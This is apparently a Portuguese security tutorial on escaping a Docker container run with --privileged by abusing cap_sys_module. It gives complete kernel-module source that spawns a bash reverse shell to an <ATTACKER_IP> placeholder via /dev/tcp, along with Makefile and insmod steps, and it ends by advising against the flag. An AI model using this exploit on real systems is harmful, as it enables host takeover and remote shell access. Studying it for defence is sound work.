privileged flag
Apresentação
Quando um contêiner é executado usando a flag --privileged, esse contêiner possui mais capabilities, e com isso podemos atacar esse contêiner e conseguir acesso ao host.
Capabilities
As capabilities representam a capacidade de um processo acessar um certo recurso, limitando ou disponibilizando tal permissão, por exemplo, a capabilitie cap_sys_module tem permissão de carregar módulos de kernel no linux.
Recon
Para ver as capabilities que o contêiner tem acesso podemos utilizar o seguinte comando
capsh --print
Caso não exista esse comando no contêiner, você pode instalar ele, no meu caso vou usar o utilitário de gerenciamento de pacotes APK do alpine
apk add -U libcap
Irei mostrar o resultado em dois contêiners, um possui a flag. --privileged setada e o outro não


Circulei os 3 capabilities perigosos
cap_sys_module
cap_sys_ptrace
cap_sys_admin
Irei mostrar a exploração através do cap_sys_module, vamos simplesmente pegar um módulo de kernel que faça uma reverse shell e carregar esse módulo no docker que consequetemente ele irá carregar no host, assim a gente irá pegar revshell no host.
Vamos criar esse arquivo chamado "priv.c"
#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
static char command[50] = "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1";
char* argv[] = {"/bin/bash","-c", command, NULL};
static char* envp[] = {"HOME=/",NULL};
static int __init connect_back_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit connect_back_exit(void){
printk(KERN_INFO "Exiting\n");
}
module_init(connect_back_init);
module_exit(connect_back_exit);
Após isso vamos criar o "Makefile"
obj-m = priv.o
KVERSION = $(shell uname -r)
all:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean
Vamos compilar:
make
Após compilar teremos o arquivo .ko, vamos fazer o download dele no contêiner utilizando python3 no meu caso, após fazer o download, siga os comandos
chmod +x rev.ko && insmod rev.ko
Podemos verificar se o módulo foi carregado

Após isso só verificar o nosso listener

Conclusão
Não é uma boa prática utilizar a flag --privileged, caso usada o atacante pode mapear os capabilities disponíveis e utilizar eles para a escalação de privilégio, se for utilizar apenas por conta dos capabilities, olhe como gerenciar os capabilities aqui sem a necessidade de usar a flag privileged.
Last updated